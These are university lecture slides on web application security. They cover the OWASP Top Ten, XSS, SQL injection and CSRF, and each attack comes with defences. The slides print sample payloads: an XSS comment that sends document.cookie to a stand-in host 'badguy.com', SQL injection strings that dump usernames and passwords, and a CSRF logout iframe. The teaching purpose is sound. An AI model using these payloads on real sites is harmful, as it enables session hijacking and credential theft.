Web Application Security

ISM301
Lecture 10
 What is Web Application Security
• Web application security is the process of protecting websites
and online services against different security threats that
exploit vulnerabilities in an application’s code. Common
targets for web application attacks are content management
systems (e.g., WordPress), database administration tools (e.g.,
phpMyAdmin) and SaaS applications.
Perpetrators consider web applications high-priority targets due to
• The inherent complexity of their source code, which increases the
likelihood of unattended vulnerabilities and malicious code
manipulation.
• High value rewards, including sensitive private data collected from
successful source code manipulation.
• Ease of execution, as most attacks can be easily automated and launched
indiscriminately against thousands, or even tens or hundreds of
thousands of targets at a time.
• Organizations failing to secure their web applications run the risk of
being attacked. Among other consequences, this can result in
information theft, damaged client relationships, revoked licenses and
legal proceedings.
What is Web Application Security?
• Not Network Security
Securing the “custom code” that drives a web application
Securing libraries
Securing backend systems
Securing web and application servers
• Network Security Mostly Ignores the Contents of HTTP Traffic
Firewalls, SSL, Intrusion Detection Systems, Operating System Hardening,
Database Hardening
What is an OWASP?
• Open Web Application Security Project
http://www.owasp.org
Open group focused on understanding and improving the security of web
applications and web services!
Hundreds of volunteer experts from around the world
• Top Ten Project
Raise awareness with a simple message
Lead by Aspect Security
OWASP Top Ten List
• A1. Cross-Site Scripting (XSS)
• A2. Injections Flaws
• A3. Malicious File Execution
• A4. Insecure Direct Object Reference
• A5. Cross Site Request Forgery (CSRF)
• A6. Information Leakage & Improper Error Handling
• A7. Broken Authentication & Session Management
• A8. Insecure Cryptographic Storage
• A9. Insecure Communications
• A10. Failure to Restrict URL Access 11
1.Injection. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is
sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter
into executing unintended commands or accessing data without proper authorization.
2.Broken Authentication. Application functions related to authentication and session management are often
implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to
exploit other implementation flaws to assume other users’ identities temporarily or permanently.
3.Sensitive Data Exposure. Many web applications and APIs do not properly protect sensitive data, such as
financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit
card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection,
such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
4.XML External Entities (XXE). Many older or poorly configured XML processors evaluate external entity
references within XML documents. External entities can be used to disclose internal files using the file
URI handler, internal file shares, internal port scanning, remote code execution, and denial of service
attacks.
5.Broken Access Control. Restrictions on what authenticated users are allowed to do are often not properly
enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access
other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc..
6. Security Misconfiguration. Security misconfiguration is the most commonly seen issue. This is commonly a
result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured
HTTP headers, and verbose error messages containing sensitive information. Not only must all operating
systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a
timely fashion.
7. Cross-Site Scripting XSS. XSS flaws occur whenever an application includes untrusted data in a new web
page without proper validation or escaping, or updates an existing web page with user-supplied data using a
browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser
which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
8. Insecure Deserialization. Insecure deserialization often leads to remote code execution. Even if
deserialization flaws do not result in remote code execution, they can be used to perform attacks, including
replay attacks, injection attacks, and privilege escalation attacks.
9. Using Components with Known Vulnerabilities. Components, such as libraries, frameworks, and other
software modules, run with the same privileges as the application. If a vulnerable component is exploited, such
an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known
vulnerabilities may undermine application defenses and enable various attacks and impacts.
10. Insufficient Logging & Monitoring. Insufficient logging and monitoring, coupled with missing or
ineffective integration with incident response, allows attackers to further attack systems, maintain persistence,
pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is
over 200 days, typically detected by external parties rather than internal processes or monitoring
 Web and Security

The majority of web applications are insecure, despite the widespread usage of SSL technology
SSL .. is not enough
• SSL does not stop attacks that directly target the server or client
components of an application.
• SSL does nothing to stop an attacker from submitting crafted input to
the server.
• If the application uses SSL, this simply means that other users on the
network cannot view or modify the attacker’s data in transit.
• The attacker controls the other end of SSL tunnel, she can send
anything she likes to the server through this tunnel
Contributing Factors
• Factor 1: Deceptive Simplicity
Most web applications are developed in-house by an organization’s own staff
or third-party contractors.
It is possible for a novice programmer to create a powerful application from
scratch in a short period of time.
But there is a huge difference between producing code that is functional and
code that is secure.
The use of ready-made code components: authentication, page templates,
message boards, etc.
• Factor 2: Resource and time constraints
The need to produce a functional application by a deadline normally
overrides less tangible security considerations.
• Factor 3: Lack of Awareness
Awareness of web application security issues remains less well-developed
than in longer-established areas such as networks and operating systems.
Cross-Site Scripting (XSS) Flaws
• XSS flaws occur whenever an application takes user supplied data and
sends it to a web browser without first validating or encoding that
content. XSS allows attackers to execute script in the victim's browser
which can hijack user sessions, deface web sites, possibly introduce
worms, etc.
• This flaw is caused by the improper validation of user-supplied data
when an application takes that data and sends it to a web browser
without first validating or encrypting the content.
Cross-Site Scripting (XSS)
• XSS example: vulnerable site
Cross-Site Scripting (XSS) Attacks
• There are three categories of XSS attacks:
Persistent (or Stored)
Non-persistent (or reflected)
DOM injection
Persistent (Stored)
• The injected code is permanently stored (in database, message forum etc.)
• The stored XSS vulnerability is a more devastating variant of a cross-site
scripting flaw.
• It occurs when the data provided by the attacker is saved by the server,
and then permanently displayed on "normal" pages returned to other
users in the course of regular browsing, without proper HTML escaping.
• A classic example of this is with online message boards where users are
allowed to post HTML formatted messages for other users to read.
Persistent XSS Attack Scenario
Mallory posts a message with malicious payload to a social network.
• When Bob reads the message, Mallory's XSS steals Bob's cookie.
• Mallory can now hijack Bob's session and impersonate Bob
Stored XSS
Cross-Site Scripting (XSS)
• Basic scenario: reflected XSS attack
DOM injection
• DOM injection – Injected code manipulates sites JavaScript code or
variables, rather than HTML objects. Example Comment embedded
with JavaScript comment=“Nice site! <SCRIPT> window.open(
http://badguy.com/info.pl?document.cookie </SCRIPT>
 Cross-Site Scripting (XSS) Consequences
• The most severe XSS attacks involve disclosure of the user’s session
cookie, allowing an attacker to hijack the user’s session and take over
the account.
• Other damaging attacks include:
the disclosure of end user files
installation of Trojan horse programs
redirect the user to some other page or site
• An XSS vulnerability allowing an attacker to modify a press release or
news item could affect a company’s stock price or lessen consumer
confidence.
• An XSS vulnerability on a pharmaceutical site could allow an attacker
to modify dosage information resulting in an overdose.
Finding XSS Vulnerabilities
• A basic approach to identifying XSS vulnerabilities is to use a standard
proof-of-concept attack string such as the following:
“<script>alert(document.cookie)</script>”
This string is submitted as every parameter to every page of the
application.
Responses are monitored for the appearance of this same string.
If the attack string appears unmodified within the response, the
application is almost certainly vulnerable to XSS
Preventing XSS Attacks
• The root cause of XSS is that user-controllable data is copied into
application responses without adequate validation and sanitization.
• The user-input can then interfere with the target page, modifying not
only its content but also its structure.
• To eliminate XSS vulnerabilities, the first step is to identify every
instance within the application where user-controllable data is being
copied into responses.
• Then apply a three-fold approach:
Validate input.
Validate output.
Eliminate dangerous insertion points.
XSS - Protection
Protect your application from XSS attacks
• Filter output by converting text/data which might have dangerous
HTML characters to its encoded format:
'<' and '>' to '&lt;' and '&gt;’
'(' and ')' to ‘&#40;' and ‘&#41’
'#' and '&' to ‘&#35' and ‘&#38‘
• Recommend filtering on input as much as possible.
• Input data validation and filtering
• Never trust client -side data
• Best: allow only what you expect
• Remove/encode special characters
• Many encodings, special chars!
• E. g., long (non-standard) UTF-8 encodings
SQL Injection
• SQL injection is a code injection technique that exploits a security
vulnerability in a website's software.
• Used to attack the security of a website by inputting SQL statements
in a web form to get a poorly designed website to perform operations
on the database.
• A successful SQL injection exploit can:
read sensitive data from the database
modify database data (Insert/Update/Delete)
execute administration operations on the database (such as shutdown the
DBMS)
recover the content of a given file present on the DBMS file system
issue commands to the operating system.
SQL Injection
Impact of a successful SQL injection attack
• A successful SQL injection attack can result in unauthorized access to sensitive data,
such as passwords, credit card details, or personal user information.
• Many high-profile data breaches in recent years have been the result of SQL injection
attacks, leading to reputational damage and regulatory fines.
• An attacker can obtain a persistent backdoor into an organization's systems, leading to
a long-term compromise that can go unnoticed for an extended period.
SQL injection examples
Some common SQL injection examples include:
• Retrieving hidden data, where one can modify an SQL query to return additional
results.
• Subverting application logic, where one can change a query to interfere with the
application's logic.
• UNION attacks, where one can retrieve data from different database tables.
• Examining the database, where one can extract information about the version and
structure of the database.
• Blind SQL injection, where the results of a query one controls are not returned in the
application's responses.
 Retrieving hidden data
Consider a shopping application that displays products in different
categories. When user clicks on Gifts category, their browser
requests the URL:
https://insecure-website.com/products?category=Gifts
This causes the application to make an SQL query to retrieve details
of the relevant products from the database:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
This SQL query asks the database to return:
• all details (*)
• from the products table
• where the category is Gifts
• and released is 1.
The restriction released = 1 is being used to hide products that are
Retrieving hidden data
• The application doesn't implement any defenses against SQL injection attacks, so an
attacker can construct an attack like:
https://insecure-website.com/products?category=Gifts’--
• This results in the SQL query: SELECT * FROM products WHERE category = 'Gifts'--'
AND released = 1
• The key thing here is that the double-dash sequence -- is a comment indicator in
SQL, and means that the rest of the query is interpreted as a comment. This
effectively removes the remainder of the query, so it no longer includes AND
released = 1. This means that all products are displayed, including unreleased
products.
• Going further, an attacker can cause the application to display all the products in any
category, including categories that they don't know about:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
• This results in the SQL query: SELECT * FROM products WHERE category = 'Gifts' OR
1=1--' AND released = 1
• The modified query will return all items where either the category is Gifts, or 1 is
Retrieving data from other database tables
• In cases where the results of an SQL query are returned within the
application's responses, an attacker can leverage an SQL injection
vulnerability to retrieve data from other tables within the database.
This is done using the UNION keyword, which lets you execute an
additional SELECT query and append the results to the original query.
• For example, if an application executes the following query containing
the user input "Gifts":
SELECT name, description FROM products WHERE category = 'Gifts'
then an attacker can submit the input:
' UNION SELECT username, password FROM users--
• This will cause the application to return all usernames and passwords
along with the names and descriptions of products.
Examining the database
• Following initial identification of an SQL injection vulnerability, it is
generally useful to obtain some information about the database itself.
This information can often pave the way for further exploitation.
• You can query the version details for the database. The way that this
is done depends on the database type, so you can infer the database
type from whichever technique works. For example, on Oracle you
can execute:
SELECT * FROM v$version
• You can also determine what database tables exist, and which
columns they contain. For example, on most databases you can
execute the following query to list the tables:
SELECT * FROM information_schema.tables
Blind SQL injection vulnerabilities
• Many instances of SQL injection are blind vulnerabilities. This means that the
application does not return the results of the SQL query or the details of any database
errors within its responses. Blind vulnerabilities can still be exploited to access
unauthorized data, but the techniques involved are generally more complicated and
difficult to perform.
• Depending on the nature of the vulnerability and the database involved, the following
techniques can be used to exploit blind SQL injection vulnerabilities:
• Change the logic of the query to trigger a detectable difference in the
application's response depending on the truth of a single condition. This might
involve injecting a new condition into some Boolean logic.
• Conditionally trigger a time delay in the processing of the query, allowing you to
infer the truth of the condition based on the time that the application takes to
respond.
• Trigger an out-of-band network interaction, using Out-of-Band Application
Security Testing (OAST) techniques. This technique is extremely powerful and
works in situations where the other techniques do not.
How to detect SQL injection vulnerabilities
The majority of SQL injection vulnerabilities can be found quickly
and reliably using Burp Suite's web vulnerability scanner.
SQL injection can be detected manually by using a systematic set
of tests against every entry point in the application. This typically
involves:
• Submit single quote character ' and look for errors or
anomalies.
• Submit some SQL-specific syntax that evaluates to the base
value of the entry point, and to a different value, and look for
systematic differences in the resulting application responses.
• Submit payloads designed to trigger time delays when executed
within an SQL query, and look for differences in time taken to
Preventing SQL Injection
• Never build SQL commands yourself.
• Use parameterized/prepared SQL
• Use ORM framework
SQL Injection Protection
Cross Site Request Forgery (CSRF)
• Call it XSRF. Or CSRF. (Sea-Surf)
• User issues request without intent
○ And the user is logged in
○ And it is accepted by the server
○ And it causes some undesirable effect
■ Logout
■ Delete Account
■ Change Password
■ "State Changing Request"
<iframe src='https://someothersite.com/logout.php'></iframe>
Cross Site Request Forgery (CSRF)
 CSRF: What to Look For
• Request must be
○ Predictable
■ No hard-to-predict values (i.e., a large random session identifier)
○ Authenticated
■ Anonymous CSRF is generally uninteresting
○ State-Changing
■ If it doesn't change anything, getting it run doesn't serve any
purpose
○ Forgeable
■ Certain headers can't be sent across origins (X-Requested-With)
CSRF Mitigation
- Tokens [Recommended approach]
- Are per-user
- Should be unpredictable and have a limited lifetime
- Can be set in hidden form fields, HTTP headers
- Header checks - Origin/Host/Referrer
- Should block if these headers are not present
- Plugins can alter certain HTTP headers
- Double submit cookie
- Used when there is difficulty associating the token to a session
- A random value is assigned to the hidden form field and a cookie, compared at
server side on submission
- SameSite Cookies
- Form submit from attacker site, will not allow the browser to send the cookies in
Top 10 Web Application Risks
Top 10 Web Application Risks
Tools
• WebScarab - a web application vulnerability assessment suite including
proxy tools
• Validation Filters – generic security boundary filters that developers can
use in their own applications
• CodeSpy – look for security issues using reflection in J2EE apps
• CodeSeeker - a commercial quality application level firewall and Intrusion
Detection System that runs on Windows and Linux and supports IIS,
Apache and iPlanet web servers.
• WebGoat - an interactive training and benchmarking tool that users can
learn about web application security in a safe and legal environment
• WebSphinx – web crawler looking for security issues in web applications
• OWASP Portal - Java based portal code designed with security as a prime
concern